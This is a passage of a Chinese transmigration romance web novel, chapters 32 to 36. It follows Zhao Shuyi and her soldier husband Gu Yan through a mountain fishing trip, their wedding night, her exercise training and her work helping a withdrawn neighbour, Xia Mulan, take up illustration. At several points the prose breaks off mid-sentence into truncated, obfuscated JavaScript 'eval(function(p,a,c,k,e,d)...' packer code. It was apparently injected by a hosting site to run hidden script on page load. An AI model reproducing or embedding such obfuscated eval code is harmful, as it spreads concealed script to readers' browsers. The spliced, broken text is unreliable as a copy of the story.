跟他相处久了赵书宜觉得他一点也不恐怖了。 很鲜活。 “去什么地方?” 顾岩看了看她脚下穿的军绿色胶底鞋,笑了笑,问:“害怕爬山吗?” 赵书宜一愣。 不是,谁家好人结婚当天带人去爬山的? 但一想这年头似乎也没有什么特别的活动,爬山就爬山吧。 “爬山有什么好怕的?” 顾岩点头,“那我们先去供销社买点东西。” 他去买了一个背篓,又买了个鱼篓和一些镰刀等物,东西有点杂,让赵书宜摸不着头脑。 但看对方明显想绕弯子,赵书宜也没扫了他的兴致,没有多问。 碰巧她买的这些东西也都是赵书宜想要的,她可以拿到空间去用,嘿嘿。 “我之前从来没想过你会穿胶鞋。” 两人走在风景秀丽的乡间小路上,顾岩冷不丁地来了这么一句。 赵书宜低头,“?” “之前见到你都是精致的小皮鞋,整个人似乎都活在云端,我实在想象不出你来这地方的样子,我都已经做好了你嫁过来每天在家里生闷气不高兴的准备了。” 前面有一个小水沟,顾岩回过头来伸出手。 赵书宜把手搭在他的手上,结果没想到他另一只手突然拦住她的腰,然后她就这么水灵灵地被抱过去了。 几乎是瞬间,一股热意上涌。 赵书宜不好意思了。 这就是已婚人士吗? “你那时候不想嫁给我我其实是松了一口气的,因为我其实是个很不会照顾人的人。” 赵书宜这就有话说了。 “不是。” 顾岩牵着她的手,听到这话有些疑惑地看向她。 “我说你很会照顾人。” 她前后两辈子没见过这么会照顾人的男人。 “是你好照顾,书宜,我以后都会照顾好你。” 明明也不是什么特别肉麻的情话,就是让赵书宜耳朵发烫。 他怎么突然这么多话了? 其实赵书宜来到家属院也发现了,顾岩并不像是表面那么难以接近。 但是突然这么多话,她还是很不习惯诶。 顾岩觉得赵书宜穿上胶鞋都是为了自己。 她千里迢迢来到自己身边,放下自己大小姐的架子融入到这边的生活,他觉得赵书宜还是一个很需要被照顾的小姑娘。 他今天这些话演练了很多遍,说话时语速难免有些快,也不知道他媳妇能不能感受到他的真诚。 赵书宜根本就没注意到他有些紧张期待的表情,她发现自己一个来自后世的灵魂,还没他这么个土著放得开。 但她又实在不愿意让对方的话落在地上,于是道:“我也会好好跟你过日子。” 这样的话已经是她能说出来的最肉麻的话了。 然而这对于顾岩来说已经足够了,笑意浓了许多。 他心说难怪部队里那群糙老爷们儿都说结婚后夫妻间就会更亲密,就能相处更融洽,现在想来确实如此。 顾岩满足地牵着她往山里走。 云省的山很高,树木茂密,植物种类也很多,因为村里的村民们尝尝会上山砍柴捡蘑菇野菜,路也不算太难走。 加上顾岩在前面带路,赵书宜一点也不怕,她甚至看到一些野花就很想将其放进自己的空间里。 可是她听说军人的洞察力是很敏锐的,她不敢赌。 万一被发现了,她会不会被拉去切片研究啊。 赵书宜觉得以后等顾岩上班自己或许可以来一趟。 她也不求多的,就在自己的灵泉旁边种一些野花就好。 顾岩显然对山上挺熟悉,他看到一些菌子会跟赵书宜讲解。 什么能吃什么坚决不能吃。 “你别看这里的人每年都会捡蘑菇吃,每年也都有吃蘑菇中毒的。所以不确定的宁愿不要,包括外面买的也是一样。” 赵书宜认真应下。 她也不是个敢冒险的人。 前世网上可是很流行那样一句话的,“红伞伞白杆杆吃了就躺板板。” 赵书宜忍不住打了个寒颤,结果被顾岩发现了。 “怎么了?” “没,我肯定不会乱吃的。” 顾岩越看她越乖巧,忍不住就想揉她的头捏捏她的脸,但手上脏他没动作,只是笑了笑,“你可以先放着等我回来辨认,我还算熟。” 赵书宜乖巧应下,“好。” “走,这边。” “我们到底要去哪里,不是专门来爬山的吧。” 她发现了,顾岩今天是有目的地的,不是简单地带她爬山而已。 果然,就听顾岩道:“就在前面了。” 两人绕过一条长了荆棘的小路,眼前豁然开朗。 这山上居然还有这么一处洞天福地。 这里是一处山涧,泉水自山间而下,叮叮咚咚很是好听。 阳光倾泻,水面波光粼粼,和泉水叮咚声互相交映。 “真漂亮啊,你居然还知道这么好看的地方。” 顾岩见她喜欢,嘴角不自觉扬起弧度。 原本他还没觉得这里有多好看,可有赵书宜在这些景物确实看着更顺眼了点。 “这里可不止好看这么简单。” 他带她来并不是单纯来赏景的。 “有鱼吗?” 赵书宜可是记得他带了鱼篓的,除了网鱼她也想不到其他的了。 “聪明。” 顾岩拿出鱼篓,挽起裤脚便下了水。 “今天我们吃鱼。” 顾岩那天就发现了,赵书宜很喜欢吃鱼。 鱼刺多,而且容易有腥味,平常食堂做得不多,很多嫂子们倒是做得挺好,所以供销社的鱼常常供不应求。 他这才想到趁自己休息的时间来网一些鱼回去给自己媳妇打牙祭。 赵书宜完全不知他的想法,她心中意动,很想抓两条鱼放进空间里,但是又怕被顾岩发现,有点心不在焉的。 见顾岩往深了去,赵书宜一颗蠢蠢欲动的心更加按耐不住了。 她想两个人以后要一起过日子的,她如果事事都要这么防着,那不是累死了。 走一步算一步吧,她就想空间里有吃不完的鱼。 给自己打了打气,赵书 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“没事,别害怕。” 本来赵书宜是没什么的,可被他这么一安慰,她觉得自己像是受了委屈似的,有点控制不住自己眼睛更酸了。 “别哭,都怪我,不该把你带到这来的。” 顾岩看她狼狈的样子,心疼得他都有些语无伦次了。 见状赵书宜噗嗤笑了出来。 “哪里怪你,是我自己不小心。” 是她自己太馋。 “还笑得出来,你衣服湿了,先穿一下我的,我去找点柴,烤一下衣服别感冒。” 听他这么说赵书宜才意识到自己现在全身湿着,衣服紧紧贴在身上,实在有点不雅。 她默默抬手捂住胸口,脸红透了。 顾岩一开始压根也没往那方面想,现在也跟着脸红了。 但他到底还能控制些,转过头去把身上衣服脱下来递给了赵书宜。 赵书宜抬眼就看到了顾岩身上的道道伤口,她一愣。 “怎么了?” 顾岩手举了半天没见她接过去,扭头一看,小姑娘还在发呆呢。 “你先换上,别太嫌弃,一会儿感冒就不好了。” 赵书宜哪能嫌弃唯一的一件干衣服? 其实也不干了,刚才抱她时,他衣服上沾了不少水,只是到底比她的好了许多。 她换好衣服过了一会儿顾岩才回来。 看到她穿着自己的衣服,顾岩喉头一滚,垂眸摆弄柴火。 气氛过于安静,静得有点尴尬。 赵书宜主动打破僵局,“你怎么还想着买火柴呢,是不是猜到我会掉水里?” 顾岩抬眼,看到她全身湿漉漉的样子又低下了头去。 “我是想着我们可以烤鱼。” 也不是真想着烤鱼,以备不时之需而已,没想到还真用上了。 等火堆升起来,那种凉飕飕的感觉消失了,赵书宜不远不近坐着,觉得挺舒服。 顾岩去水边收拾了两条鱼又串了签子,悠哉悠哉烤起鱼来。 刚才他就一直感觉到赵书宜盯着自己,自己坐她旁边了她还不好意思了,他嘴角不自觉地上扬。 赵书宜没看他自然不知道。 她确实是害羞了。 一开始她是被顾岩身上的伤疤吸引了注意力,她简单数了一下,大大小小起码有十道,居然那么多伤,都像是利器所伤,也不知道是怎么来的。 然后她看着看着思想就劈叉了。 这真不怪她,她从来没有那么直观那么近的看到过那么好的身材。 哪怕是他背上那肌肉线条也十分完美,让人的视线忍不住下移然后被皮带阻隔。 可是看不到的才是真涩啊! 赵书宜真不敢抬头,她怕自己的眼泪从嘴角流出来从而被怀疑自己落水是故意的。 “你在想什么?” “没有啊。”赵书宜抬头,嘴比脑子快多了。 在看到他健壮身材是又匆匆挪开视线,她转移话题,“你身上怎么那么多伤?” 顾岩把她的小动作尽收眼底,笑着无所谓道:“都是做任务的时候留下来的,都是皮外伤,看着吓人其实不严重。” 赵书宜抿了抿唇,想起了许久没再想到的原书剧情。 “你以后做任务的时候小心一点,你现在是有家室的人。” 听到这话顾岩心都软了,点头,“我知道。” “我说认真的,你也要认真回答。” 赵书宜不想他受伤,自己也不想守寡,更不想事件朝着原剧情的方向发展。 顾岩与她隔了一个人的距离,这会儿终于抬手揉在自己一直想动手的那颗脑袋,可惜了湿了不是毛茸茸的,像是被淋湿了的可怜的小猫。 “我很认真,我会小心的,不会让你担心。” 33. 我们习惯习惯? 赵书宜吃了顾岩做的烤鱼,没想到他的手艺还真不错。 她觉得他做饭味道应该也不错。 似乎自己以后可以偷懒了。 “你好厉害,我打算把我的厨艺传给你,以后家里厨房的活就交给你了。” 顾岩毫不犹豫地答应。 “好啊。” “真的?” “真的。” 赵书宜就真琢磨这事了。 两人吃了鱼就开始往家赶。 这水潭里的鱼是真多,顾岩网了十多条鱼,他们得早点回去,死鱼可不如活鱼的味道。 但想让它们活着不容易,只能看运气了。 因为落水的意外倒是让赵书宜的灵泉水的秘密完全没被怀疑。 等他们回到家属院已经下午三点。 两人身上的衣服都干了,赵书宜随手编的一个矮辫子多了丝慵懒随性也完全不违和。 这个点家属院没什么人,他们顺利到家。 赵书宜连忙把鱼腾到水桶里去,加了点灵泉水,很快奄奄一息的鱼就活了过来,但有两条死得透透的。 “你去休息一会儿吧,我来把鱼杀了。” 赵书宜不动声色嗯了一声,“死了两条,今天就做这两条吧,我想先洗澡,身上黏糊糊的。” 顾岩看着水桶里的鱼陷入沉思。 见状赵书宜心里打鼓,就算有所怀疑应该也猜不到什么吧。 果然,最后顾岩自己帮她找到了个理由。 “这山里的鱼是不一样。” 赵书宜附和,“确实,很厉害,外面买的可能早死了。” 顾岩看了她一眼,“你去找衣服,我烧水你洗洗,晚点再去接小亮。” “好。” - 两条鱼被做成了炸鱼块,炸好的鱼块再加上各种调料回锅,做成红烧炸鱼块,任谁也吃不出是死鱼。 赵书宜给孩子挑了一些没有刺的鱼肉,小亮会乖乖巧巧地说谢谢婶婶。 也不知道是不是听多了还是因为现在已经有了结婚证,赵书宜觉得婶婶这称呼也不是那么难听,也可以接受。 “吃慢点,看着点,千万别被刺卡住了。” 赵书宜还是很担心。 看着她一直照顾孩子,顾岩给她夹了一块鱼肉,别光顾着他,你也吃。” 一顿饭吃得一家子都很开心。 想到还有那么多鱼赵书宜更开心了,也不知道空间里那两条鱼能不能繁殖,如果可以,或许她可以偷龙转凤。 时间一晃就到了晚上。 然后赵书宜想到一件很紧要的事情。 今天好像是她和顾岩的新婚夜。 只一想到她就感觉一顿热意上涌。 虽然之前她是说过暂时还不想和他做那种事。 但他们最近的关系好像是近了不少。 他那个身材,她也不是不行。 结果事实证明是她多想了,她居然把小亮忘记了。 顾岩搬回来住,小亮自然也是跟着的。 有小孩子在他们还能做什么不成? 赵书宜庆幸不用纠结的同时心里生起另一种莫名的滋味。 三人躺下时天已经黑尽了,屋内只有一盏十分昏黄的灯。 小孩子已经睡着了,赵书宜在顾岩前面收拾,她没急着上床,而是等着顾岩回来安排。 结果左等右等没等到人。 他在磨蹭什么,该不会是不好意思吧? 赵书宜没忍住走出门去,结果就正好和从隔壁屋里出来的顾岩撞个正着。 对方刚洗了澡,彼时上半身什么也没穿,还带着点水气。 明明白天看得更清楚,可这时赵书宜总感觉场面更加暧昧。 她眼神转动,不敢落在他身上,问:“你洗好了吗?” 对方声音很沉,“嗯,马上就来。” 赵书宜感觉有点尴尬,找借口道:“我有点口渴,倒杯水喝。” 平常她半夜是不会起夜的,所以房间里没有放水的习惯,而且空间里也有,用不着,现在倒是成了一个不错的借口。 顾岩应了一声。 两人几乎是前后脚进房间,彼时顾岩身上已经穿上了一件军绿色的短袖。 赵书宜松了一口气,她觉得自己要是在床上碰到他的肌肉,她可能会一晚上睡不着。 临到上床了,刚才被赵书宜压下去的紧张卷土重来,但她你强壮镇定,问:“你睡里面还是我睡里面?” 顾岩好像比她还淡定。 难道一点都没紧张吗? 赵书宜纳闷,就听他说:“小亮睡里面,我睡中间可以吗?我怕孩子掉……做噩梦。” 嗯? 赵书宜明明听到他想说的是怕孩子做噩梦。 但他都这样说了赵书宜也没必要拆穿他。 “行,都可以。” 先上床的总要留出多一点的位置吧。 感觉最尴尬的应该不会是自己了。 果然,顾岩上床把小亮放到里面然后自己躺上去还给赵书宜留了一大半的位置。 明明一个大块头,看起来却憋憋屈屈的,有点好笑。 赵书宜勾着唇角爬上了床。 然后,明明两个人之间像是隔了道楚河汉界,可她还是觉得对方离她好近,他的味道无情地侵占了她的私人领域。 但是想到他们那么挤,躺下后,赵书宜还是压低声音道:“你睡过来一点吧,外面还有很宽的位置。” 顾岩嗯了一声,语气格外乖巧。 别问她怎么从一个单音节字里听出乖巧的,女人的直觉。 他往外挪了一点,还是没有碰到她。 赵书宜也不好再说了,要不然显得自己想做什么的样子。 “晚安。”她小声说。 顾岩:“晚安。” 房间里终于安静下来。 感受到身边传来源源不断的热意,赵书宜也觉得有点热,但她自己不敢动,只动作僵硬地躺着。 她突然就想到火车上顾岩的姿势,会不会他并不是一直都那样,只是当时被她看着紧张了? 赵书宜思绪乱飞,觉得有点困了,但睡不着。 要不然还是用意念进空间好了。 她正这么想,旁边人突然开口了,“睡不着吗?” 赵书宜一下精神了。 “我晚上是睡得比较晚……” 说完赵书宜又觉得自己好像没必要跟他说假话,又补充说:“身边突然多了两个人,有点不太习惯。” 顾岩沉默了一会儿。 赵书宜心慢慢提了起来。 她是不是说得太直接了? “我没有怪你们的意思,我就是觉得我们以后一起过日子,我能说实话就尽量说实话比较好,我这个年纪总要嫁人,床上也总要多一个人的。” 越说越奇怪了。 赵书宜觉得自己面对美男可能脑子不太够用。 没一句话说对了的。 真是多说多错啊。 房间一片漆黑,赵书宜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的灵泉水可以修复锻炼后带来的酸痛的感觉,让她对自己的锻炼更有信心了。 说好的早起是早不了一点。 晚起也不是不能锻炼吧。 以后就让顾岩晚上教自己,早上起来自己练。 饭桌上依旧摆着早饭,赵书宜没急着吃,简单洗漱后老老实实在堂屋门口开始扎马步。 顾岩教了她一些技巧,比如怎么样才能不伤膝盖,怎么样才能达到最好的锻炼效果,她都一一记在心里。 蹲马步看着简单,但其实也不是那么容易坚持的。 赵书宜蹲了没一会儿腿就有些酸了。 她苦着脸看看天又看看院子里的桂花树又看了看地,然后在心里开始规划院子里的土地。 只要她心里不想着累,她就不会累。 这就是她的形而上学锻炼法。 “角落里可以种两株花,藤本的野玫瑰什么的就很好,旁边种点冬瓜,挨着花和冬瓜就种小葱大蒜……” 顾岩进到院子,一眼就瞧见赵书宜在堂屋门口蹲着马步念念叨叨。 注意到他进院,对方小嘴一下停住了。 “顾岩。”她声音出奇地软,“你来帮我看看,我动作标准吗?” 34. 保证完成任务 赵书宜说完才注意到顾岩手里提了个簸箕,簸箕里不就是她刚才还念叨的玫瑰苗吗? “你怎么知道我想在墙角种花的?” 赵书宜当然知道他不可能知道自己的想法。 只是太激动,不自觉地就把他当成自己很亲近的人去交流了。 所幸顾岩似乎并没有在意,也没有特别直男地否定她说的话。 把东西放在院子背阴的地方,他走上前来帮赵书宜纠正姿势。 “张团长家里有一大片花,我猜你可能会喜欢,所以去挖了两棵回来,如果你不喜欢就种院子外面,喜欢就种院子里边。” “张团长?是张玥同志的哥哥吗?” 顾岩手轻轻在她肩膀上压了一下,示意她往下蹲。 “对,就是她。你还没吃饭?” “嗯,我刚起来,我不能让我老师失望,我要坚持锻炼。” 意识到她说的老师是自己,顾岩没忍住扬了扬眉。 “但也不能不吃早饭。” “要吃,刚起来也没什么胃口,晚点吃,我早上起得晚吃不了太多,你下次少给我买点。” 按照她的生物钟,基本起床吃过早饭磨蹭一会儿就该吃午饭了。 顾岩答应下来,心里却在琢磨怎么能让赵书宜早点起来吃早饭。 他面上不显,调整好她的姿势,问:“我刚刚听你说院子里想怎么种菜?” 赵书宜老实道:“其实都可以,我刚刚只是在转移注意力,有点累。” 顾岩顿了一下,完全没想到,笑了一下。 “你这才第二天能这么精神已经很不错了,慢慢来。” “你对你的兵也这么仁慈吗?” “你不是我的兵。” 是我的媳妇。 他回家是和媳妇过日子的,不是来练兵的。 对待媳妇怎么能和对那群臭小子的态度一样。 明明也不是什么暧昧的话,赵书宜就是从里面品出点暧昧的味道来了。 她觉得自己想象力可真是丰富。 到底是不好意思,赵书宜转移注意力看向身边的蔡明亮。 “小亮,要不要跟姐姐一起练啊?” 小亮从进来就一直盯着她,跟看猴似的。 蔡明亮眨巴眨巴眼睛,纠正道:“是婶婶。” …… 又忘了。 哪个妙龄少女想当婶婶啊? 但没关系。 一个称呼而已。 “小亮,要不要跟婶婶一起锻炼身体?” 蔡明亮转头看向顾岩,一脸希冀。 看来是想。 顾岩却没立即答应,而是说:“想吗,婶婶问你,要礼貌回答。” “想。” “好,那从明天开始顾叔叔也带小亮训练。” 每次顾岩教孩子的时候赵书宜都会觉得他很会教孩子,而且觉得他以后肯定会是个好爸爸。 赵书宜自己是深受原生家庭不良教育的危害的,所以她也清楚自己羡慕的是什么样的教育方式。 她觉得就是此刻顾岩这样的。 但顾岩为什么要说他担心自己教不好呢? 知道现在不是问这些的时候,赵书宜压下心中思绪继续蹲马步。 结果没想到顾岩突然从堂屋里端了盘饺子出来。 赵书宜惊呆了。 那句她不是他的兵的含金量还在上升。 你小子别太宠。 赵书宜咬下一口带着面香的饺子,说:“你这样会把我惯坏的。” 顾岩继续喂她,“只要你有恒心,你想学的东西肯定能学好,你又不是兵,在形式上不用过于难为自己。” 赵书宜觉得这真不像是他这样的人该说出来的话。 有点割裂。 明明长的一副糙汉模样,时不时地却能展现出细心的一面,明明看着古板守规矩,却对她十分纵容的样子。 不过一点也不讨厌就是了。 即便有顾岩来打岔,赵书宜也好不容易才捱过半个小时。 她差点又要倒地不起了。 顾岩这次没再帮她按摩,而是给她讲解该如何拉伸。 赵书宜学了一下,感觉确实舒服了不少。 把早饭吃了赵书宜去看了看顾岩买回来的菜。 今天居然有牛肉。 这年头的物资短缺,肉都特别不好买,更别说牛肉了。 但顾岩似乎每天都能买肉回来,他是有多少肉票啊? 赵书宜好奇便直接去院子里问他了。 顾岩种花的技术不知道如何,看起来倒是有模有样的,很快就把几株花苗种在了地里。 “隔壁陶团长和夏连长都有肉票,全部换给我了,还有我自己跟战友换的,鸡肉鸡蛋我们也可以去乡下换。” 他还有些工业票以及一些比较稀有但是家里不太用得上的票都拿到外面去换了。 “大家都这么做的,你如果需要什么票提前跟我说,我留起来。” 听他这话,他们部队物资应该还算充足,给的钱票多说明发展不错,但另一方面也说明他们肩上的责任大。 有些事情不是赵书宜该多问的,她也只是满足了一下自己的好奇心而已。 “我这里也有一些票,晚点给你。” 赵书宜有点自暴自弃道:“感觉想让我早起去买菜是有点困难的,交给你了,顾岩同志。” 顾岩敬了个礼,“保证完成任务。” 赵书宜眼睛弯了弯。 他是怎么顶着这张一贯冷淡的脸陪她胡闹的? 赵书宜去把自己的肉票拿了一些出来。 有父母给的,有郑书记给的,有高家和许晚晴那儿拿的,而且都是全国通用的,一看还真不少。 看到那么多的肉票,顾岩都惊呆了。 “怎么这么多?” “我爸妈他们给了我很多,我自己还去换了点,还有郑书记他们都给了,加起来就这么多了。” 赵书宜也没全给他,她自己留了几乎一半,她觉得自己空间可以囤一些,还可以做点腊肉什么的。 而且还可以留点以备不时之需。 听了她的解释,顾岩没再多问,点点头道:“那接下来很长一段时间都不用再愁吃肉的问题了。” 换票什么的,一次两次还好说,但其实肉票是很难换到的,大家不缺钱的都想吃肉,所以换的时候难免要多出钱和别的票,很不划算。 “什么都可以委屈自己,吃不行,不用省着,我看夏连长身体不怎么好,要多补补。” 她的身体也不单单是补就行,还得锻炼锻炼。 赵书宜觉得自己是时候仔细了解一下夏连长的情况了。 再过两天顾岩回去上班,她也得开始肩负起自己的责任才行。 下午的时候黄姐给赵书宜送来几本有关医学的书。 “这些是我帮你借的,如果有什么不懂的你就去问王军医,到时候就说跟他学了一些,你看可以吗?” 赵书宜明白对方的意思,自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她的房间其实已经被陶团长收拾得很整齐,就是直男审美多少缺了点美感,再加上夏连长不愿意把窗户打开,房间里阴沉沉的,很不利于病人的休养。 赵书宜让小亮拿着书本过去跟夏连长一起看书趁机打开了她房间的窗户,她也没说什么。 于是紧接着赵书宜给夏连长换了新的漂亮的窗帘。 说漂亮也没有特别漂亮,就是给浅色碎花的窗帘边上加了一圈蕾丝,然后像后世许多窗帘一样,多加了一层轻纱,风一吹很好看。 赵书宜又带着小亮在院子里找了一些石头、果子和树叶,然后带着东西一起去夏连长家里一起做了个不太漂亮的风铃挂在窗户上。 夏连长没给出评价,任由赵书宜折腾,但赵书宜知道她是喜欢的。 她家的柜子上铺了层好看的衬布,衬布上是他们一起用黄泥做的花瓶。 不仅夏连长家有,赵书宜在自家也做了几个。 她的目的很简单,给心中积攒着郁气的夏连长找点看似无聊又能打发时间的事情做,开发孩子的兴趣尽量给孩子一个有意思的童年,让他们两家生活的环境更好。 这些看似都是赵书宜的灵机一动,但其实都是她先计划好,然后跟顾岩和陶团长商量后进行的。 陶团长是最了解夏连长的,所以这些事情进行得都还算顺利。 但还有一件事一点进展都没有。 赵书宜想着帮夏连长按摩腿,进而提出给她泡泡药浴被她一口回绝然后脸沉了一整天。 吓着孩子她也只当没看见。 赵书宜便暂时不再提按摩的事,只按部就班做好自己的工作寻找着更好的机会。 35. 解决一个大问题 家里的洗澡间晾了几天终于能用了。 赵书宜很高兴。 她自己烧了水,把孩子放到隔壁请夏木兰帮自己看着然后畅畅快快地洗了个澡。 其实她在空间也是可以洗的。 但空间一直是处于白天的室外,哪怕知道没人能看到她还是很不自在。 而在屋子里的木盆里她又洗得实在拘谨,现在有了这个洗澡间就方便许多,很有安全感。 她舒舒服服洗了澡这才又去了隔壁,小亮此刻正拉着夏木兰在看赵书宜画的绘本。 其实就是一个特别简单的小兔子出门历险记,大多是赵书宜从前听过的故事。 小兔子觉得自己是一只侠兔,她的梦想就是行走江湖,于是他告别了自己的爸爸妈妈离开了家。 小兔子第一站遇到的就是想要跟动物赛跑的小乌龟,小兔子过于骄傲自大,输掉了比赛。 小兔子很伤心,但大家都安慰他,于是他重振旗鼓,决心以后要做一只谦虚的小兔子,然后继续征程。 第二站他来到小灰兔和小黑兔的家,兔子爷爷给了小灰兔和小黑兔一人一车萝卜。 “小灰兔开心极了,他觉得自己以后有吃不完的萝卜就不用干活,吃完了爷爷肯定还会给。而小黑兔却想着爷爷给的萝卜可以种新的萝卜,以后自己有源源不断的萝卜啦,于是他让小兔子帮他一起种萝卜……” 赵书宜到门口就听见小亮稚嫩的声音。 她发现小亮特别聪明,自己给他讲过一遍的东西,他几乎能一字不落地说出来。 虽然他平常不爱说话,但让他读书上的东西他是愿意的,是个读书的好苗子,只可惜接下来的十年都不是读书的好时间,得做家长的好好培养才行。 她在门口站了许久,没有打扰里面的两个人。 等孩子停下来赵书宜才走了进去。 她摸了摸小亮的头,不吝夸赞道:“我们小亮可真聪明,婶婶讲一遍你就全都记住了,怎么这么厉害呀?” 小亮有些不好意思地笑笑,看了看夏木兰笑得更腼腆了。 夏木兰对着孩子似乎也不忍散发冷气,神情很柔和。 要不是前两天才因为她腿的事情看她黑脸赵书宜还真会觉得她就是一个软和性子的人。 “赵同志,听小亮说这故事是你画的?” 赵书宜点头,“我看孩子没什么好玩的,我自己又不想去城里,太远太绕了就想着自己给他画点故事,他可以自己认字。” “这些你画了多久?” 赵书宜心思一动。 什么意思? 该不会是她想的那样吧? “嫂子你也知道我平常事情挺多的,我脑子里故事不少,就是画得太慢了,每天挤时间,你看孩子都倒背如流了,我还没能画出接下来的故事。” 说完她就有些忐忑地看着对方。 结果夏木兰一抬眼,扯了扯嘴角,说:“被你看出来了。” 赵书宜:“……” 是您看出来了啊! 既然都看出来对方的意思,赵书宜也就不藏着掖着的了。 她问:“那您愿意帮忙画吗,您可以自己想故事,我也可以给您提供一些灵感。” 夏木兰只是想了一会儿,就道:“我想听听你的故事。” 赵书宜:“这样行不行,我给您提供文本故事,您可以从中挑选故事,写故事就比画画快多了。” “可以。” 对方答应下来,赵书宜心里莫名有种松一口气的感觉。 或许这是一个突破口。 赵书宜视线往对方紧遮着的下半身扫了一眼,没敢多看。 她刚才的话也不是完全诓人的,这些天她确实很忙,所以也没来得及出去找草药。 之前想好的祛疤的药膏简直可以说是遥遥无期。 身体上她给不了对方太大的帮助,精神上先抓起来吧。 精神富足才是最重要的。 “那我先去给你拿纸笔过来,你试试,故事内容我们可以探讨,其实不仅可以给孩子画,还可以给部队的士兵们画,可以画一些有意思的内容投稿。” “我不想。”夏木兰打断她的话,态度也一下冷下来。 赵书宜收了笑容,明白自己不小心提了不该提的话题。 她没有道歉,而是自动忽略了这个话题,说:“那你愿不愿意画一些防拐骗故事?” 夏木兰垂着的眸抬了起来,眼神里是她这个年纪不该有的沧桑与苦意。 赵书宜假装没看出来,解释道:“我之前认识一位记者,她在火车上差点被拐子大庭广众之下被拐走,我们聊了不少,她说她希望能有一些相关的故事出版帮助更多的人,不过我是真的有点忙不过来,所以没跟她联系。” 忙是一方面,另一方面赵书宜也有别的顾忌。 她担心自己以后的身份会成为别人攻击的点,担心惹麻烦,毕竟对于文化艺术的理解来说,那就是仁者见仁智者见智的。 夏木兰不同,她是英雄,没人敢随便诬陷她,也没人敢给她扣帽子,她只要小心一点就可以了。 “你可以说说你的想法,我画画没有你画得可爱,但也还可以。” 赵书宜极少听到她自我肯定,有些诧异,但并没有表现出来。 不过她自己画画也并没有很好,就是一些卡通的简笔画而已,就胜在可爱,没什么技术含量。 她没急着去拿纸笔,而是坐下给对方讲了一些自己知道的有关防拐防骗的故事。 这次夏木兰听完她沉默了很久,“我试试。” “好。”赵书宜觉得只要能有改变就很有希望。 结果夏木兰给了她一个大大的惊喜。 对方何止是会画画,她的画技简直可以说是出神入化。 至少赵书宜从没在现实生活中看到过画画这么好的人。 “嫂子,你画得太好了,你能不能给我和小亮画一幅,不用太复杂,就简单几笔就好,画我们一起看书的,我们留个纪念,可以吗?” 夏木兰点了点头,抬手真就刷刷几笔就画了出来。 真的太像了,不是说五官什么的写实,而是气质。 只要认识她和小亮的,肯定都能知道画的是他们两个。 “嫂子你好厉害啊,我那画的跟你的笔就是大学生和幼儿园的水平,我要拿回去藏起来。” “哪有那么夸张?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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和高家一起被举报的还有另一个人,那人曾是赵书宜最好的朋友,这事情赵书宜知道吗? 怀着有些复杂的心情,顾岩回了家。 他回家时远远的还没到院子门口就闻到一股酸辣的味道。 他媳妇真是越来越适应云省的口味了。 那酸辣味闻着就让人口齿生津。 如果他没闻错,这是他今早买回来的山上的杂菌子。 味道真香。 顾岩心里的疑惑暂时被他抛开,他推开院门走了进去。 见他回家,蔡明亮一如往常对他很热情,见到他就噔噔噔地跑过来抱住了他的大腿。 “顾叔叔。” 顾岩一把将人抱起来,“今天玩了什么?” 蔡明亮朝着屋子里指了指。 “什么?” “里面。” 小孩儿还会吊人胃口了。 顾岩顺着他手指的方向看到了摆在房间书桌上的一幅画。 画里是两个人在看书,一大一小,一看就是赵书宜和小亮。 怎么不加上他? “这是婶婶画的?” 蔡明亮点点头又摇摇头。 “这什么意思,是还是不是?” “是夏婶婶画的。” 顾岩诧异不已,“隔壁夏婶婶?” 蔡明亮这才很肯定地点了点头。 顾岩若有所思地看了一会儿才放下画抱着孩子进了厨房。 他觉得他媳妇可能真能帮组织解决一个大问题。 36. 我只剩你了 “回来了,马上就好了,洗手准备吃饭吧。” 赵书宜下午洗了头发,做饭时嫌头发碍事就拿了支铅笔当簪子簪在了头上,看着多了丝温婉,看得顾岩微微失神。 “怎么了?” 见他没动作,赵书宜疑惑地问了一句。 “没。” 很快饭菜上了桌。 赵书宜先给隔壁夏木兰送了些饭菜过去,这才坐上了饭桌。 “今天你们一起画了画?” 吃到一半,顾岩突然发问。 “你怎么知道?” 赵书宜本想着吃了饭再跟他慢慢谈的。 两个人一开始不熟,不熟的时候顾岩话很少,他们就养成了饭桌上少言的习惯。 要不是有孩子,只怕一顿饭也说不了两句。 所以顾岩突然开口,让赵书宜有些诧异。 “小亮给我看了夏连长画的画。” “你看到了,是不是画得特别好!真是没想到夏连长有这样的手艺,其实这很适合她,我建议她跟张玥一起合作。” 都说到这儿了,赵书宜就把自己的想法告诉了对方。 她觉得张玥一看就是个很热心的记者,而且夏木兰的画也很有水平,对方应该会答应合作,只看画什么内容而已。 顾岩有些惊讶她能想到那么多,仔细听完后,说:“你考虑得特别周到,费心了。” 他觉得赵书宜本应该是在家中被人宠着护着永远不需要去操心这么多的。 结果来到春城似乎总有各种各样的麻烦。 而且他觉得赵书宜之所以对夏连长那么尽心尽力多少也有一点点自己的原因。 也不知为什么,想到这里顾岩心里便有点发热发胀。 不过脑子里又闪过今天收到的那封信,他压了压唇角。 赵书宜还不知道说个话的工夫他脑子里已经闪过了那么多的念头。 只无所谓道:“以后不用说这么客气的话,我做的事都是我自己想做的,如果我不想肯定会说出来的。” “嗯,吃饭吧。” 饭桌上又安静下来。 吃过饭顾岩主动去洗碗,赵书宜擦了桌子就领着蔡明亮去洗漱。 孩子早点洗漱,一会儿困了就可以直接睡下。 果不其然,刚洗漱好没一会儿他的小脑袋就开始点点点的了,看着怪可爱的。 赵书宜把孩子抱到床上给他讲故事,说了个开头床上就传来了均匀的呼吸声。 捏了捏孩子的被子,赵书宜起身就见顾岩不知什么时候倚在门口盯着他们,又不知盯了多久了。 没多想,赵书宜冲他笑了笑。 顾岩嘴角牵起弧度以示回应。 他轻声说:“我们聊聊。” 